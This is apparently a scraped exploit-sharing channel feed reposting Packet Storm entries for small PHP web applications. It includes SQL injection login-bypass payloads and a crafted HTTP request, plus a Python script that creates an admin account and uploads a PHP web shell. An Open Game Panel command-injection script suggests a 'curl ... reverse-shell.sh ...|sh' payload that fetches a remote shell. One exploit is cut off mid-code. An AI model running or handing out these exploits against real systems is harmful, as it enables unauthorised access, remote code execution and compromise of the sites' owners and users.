Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass
# Date: 2021-09-20 
# Exploit Author: Nitin Sharma(vidvansh)
# Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server 
# Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.

#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/lodge/admin/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ' OR 1 -- -.
Step 5 – Click forward and now you will be logged in as admin.

# PoC:

POST /lodge/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/lodge/admin/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+
# Authentication Bypass:

# Go to admin login page (http://localhost/lodge/admin/login.php), then use below payload as username and password => 
Username: ' or 1 -- - 
Password: ' or 1 -- -

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Lodging Reservation Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 20:08

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
College Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-jEyO8wrBbtw/WWlvSr9oRmI/AAAAAAAAINg/irp20P4NPo4dOJoHHzIQ0XpAovWCMUh6wCLcBGAs/s1600/h38.png
College Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 84866bb31f560e1ed138462bda9a7b1b

Download

# Exploit Title: college management system - SQL Injection Authentication Bypass
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in login/login.php  in line 8 :

$username=$_POST["email"];
$password=$_POST["password"];

$query="select * from login where user_id='$username' and                        Password='$password' ";
$result=mysqli_query($con,$query);
POC :
http://127.0.0.1/2/College-Management-System/login/login.php
username : ' or 1=1#
password : 123456

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

College Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 20:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Pet Shop Management System 1.0 Privilege Escalation / Shell Upload

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Pet Shop Management System version 1.0 suffers from privilege escalation and remote shell upload vulnerabilities.

MD5 | 210c02bde43decbb2a8119311298118b

Download

#!/usr/bin/python3
# Exploit Title: Pet Shop Management System v1.0 - Authenticated Privilege Escalation to Remote Code Execution
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 01, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/nelzkie15/petshop_management_system.zip
# Tested on: Ubuntu 20.04.2, Apache, Mysql
# Vendor: nelzkie15
# Version: v1.0
# Exploit Description:
#   Pet Shop Management System v1.0 suffers from a broken access control vulnerability (IDOR) in user.php and usergroup.php that allows an authenticated attacker to add and modify users and user control rules. Additionally, Pet Shop Management System v1.0 suffers from multiple arbitrary file uploads that allow an authenticated attacker to upload malicious php files, thus making remote code execution possible which results in full compromise of the application.

import requests
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('-u','--user', help='Username to login', required=True)
parser.add_argument('-p','--password', help='Password to login', required=True)
parser.add_argument('-t','--target', help='Target to attack example: target.com', required=True)
args = parser.parse_args()
proxies = {"http": "http://192.168.0.195:8081", "https": "http://192.168.0.195:8081"}
target = "http://%s/Petshop_Management_System/" % args.target

def h4x(user, password, target):
print("[*] Loging into target...\n")
r = requests.Session()
data = {'username':args.user,'password':args.password,'status':'Active'}
response = r.post(url=target + 'controllers/login-user.php', data=data, proxies=proxies )
response = r.get(url=target + '/main-customer.php',proxies=proxies)
if "Welcome !" in response.text:
print('[*] Login succesful\n')
print('[*] Creating Malcious User...\n')
files = [
('avatar',('pwned.php', '', 'application/octet-stream')),
('full_name',(None,'pwned')),
('username',(None,'pwned')),
('password',(None,'pwned123')),
('contact',(None,'pwned')),
('email',(None,'pwned@pwned.com')),
('user_category',(None,'administrator')),
('status',(None,'Active'))
]
uploadShell = r.post(url=target + 'controllers/add_user.php', files=files, proxies=proxies)
if 'Add User Successfully!' in uploadShell.text:
print('[*] Application compromised! Navigate to : ' + target + 'user_uploads/pwned.php?cmd=whoami')

h4x(args.user, args.password, target)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Pet Shop Management System 1.0 Privilege Escalation / Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 20:09

Hacking Articles Tips Tricks Videos Tutorials

6 views20:09

Hacking Articles Tips Tricks Videos Tutorials

7 views20:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Vehicle Service Managment System 1.0 Shell Upload

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
Vehicle Service Management System version 1.0 unauthenticated remote shell upload exploit that uses authentication bypass with SQL injection.

MD5 | 243eaba5d6291c10ea45e14a67617fbf

Download
# Exploit Title: Vehicle Service Managment 1.0 - RCE (Unauthenticated)
# Date: 2021-10-02
# Exploit Author: RICHARD JONES
# Vendor Homepage: https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14972&title=Vehicle+Service+Management+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10

import requests

HOST="http://localhost"
UPLOAD_URL="/vehicle_service/classes/Users.php?f=save"

s = requests.Session()

def sendShell():
payload = "
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Vehicle Service Managment System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 20:09

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Open Game Panel Remote Code Execution

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png Open Game Panel suffers from an authenticated remote code execution vulnerability.

MD5 | 4a44064f3593b04c3c02e8b2d071ef52Download

# Exploit Title: Open Game Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intext:"Open Game Panel 2021"
# Date: 08/14/2021
# Exploit Author: prey
# Vendor Homepage: https://www.opengamepanel.org/
# Software Link: https://github.com/OpenGamePanel/OGP-Website
# Version: before 14 Aug patch (https://github.com/OpenGamePanel/OGP-Website/pull/561/commits)
# Tested on: CentOS Linux 5.4.102

#Before the patch, it was possible to inject system commands on "map" parameter when launching a new counter-strike server just by putting the command=
betwen ';', the user needs to be authenticated for this.
import requests

banner = """
@
@                                                     @@&    @@@@@/
@                                                      @&   #@@@@@&       .=
,/%@#
@                                                     @@@@@@@@@@@@@((%@@@@*
@                                                     #@@@@@@@@@@@@@@@*%@,
@                                                     @@@@@@@@@@@@@@&@@@@
@                                                    &@@@@@@@@@/   &@@@.
@                                                    @@@@@@@@@(
@                                                    @@@@@@@@@@@@@&*
@                                                     &@@@@@@@@@@@@@@@@%
@                                                        ,&@@@@@@@@@@@@@
@                                                          %@@@@@@@.
@                                              .%@@@@@@@@% @@@@@@
@                                          @@@@@#       .&@@@@#
@            (@@@@@@@@@@@.             .@@@&               @@%
@       .@@@@@,         #@@@@@*      #@@@                   @@@@@
@     @@@&                   &@@@.  @@@
@  ,@@@                         @@@@@@
@ @@@                            %@@@,
@&@@                              @@@,
@@@@
@@@@

*@@@@@# @@  *@@  %@  @@@  @@      @@@@@/  @@@   @@@       ,@@@   ,@(    .@=
%
*@/  @@ .@/ @(@  @@  @@@( @@         ,@(  @@@* @#@@       @@(@   ,@(    .@=
%
*@@@@@@  @@ @ &&.@(  @@ @.@@       @@@@   @@.@(@ @@      (@. @@  ,@(    .@=
%
*@/      %@(@  @@@   @@ *@@@          @@  @@ @@. @@      @@@@@@, ,@(    .@=
%
*@/       @@*  @@@   @@  %@@      @@@@@*  @@     @@     &@    @@ ,@@@@@ .@=
@@@@

##You can get mod_id and home_id on your game panel URL when you are logged

"""
print(banner)

target = input("Target url:  (eg: https://panel.example.org)\n")
opengamepanel_web = input("opengamepanel_web Cookie: (eg: kulonmu5ldu71nmggv2p571nu1)\n")
mod_id = input("Mod_id value: (eg: 2437)\n")
home_id = input("Home_id value: (eg: 3737)\n")
server_ip_port = input("Server IP:port: (eg: 192.168.69.69:42069)\n")
command = input("Payload: (eg: curl https://reverse-shell.sh/1.1.1.1:1337|sh)\n")

url = target + "/home.php?m=gamemanager&p=game_monitor"
cookies = {"opengamepanel_web": opengamepanel_web}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"mod_id": mod_id, "home_id": home_id, "ip_port": server_ip_port, "map": ";" + command + ";", "start_server": "whatever"}
try:
requests.post(url, headers=headers, cookies=cookies, data=data)
except:
print("Something went wrong, check your inputs or try manually exploiting the map parameter")
print("Finished. you can now literally read the file $HOME/OGP/Cfg/Config.pm for the root password yaay! (CVE-2021-37157)")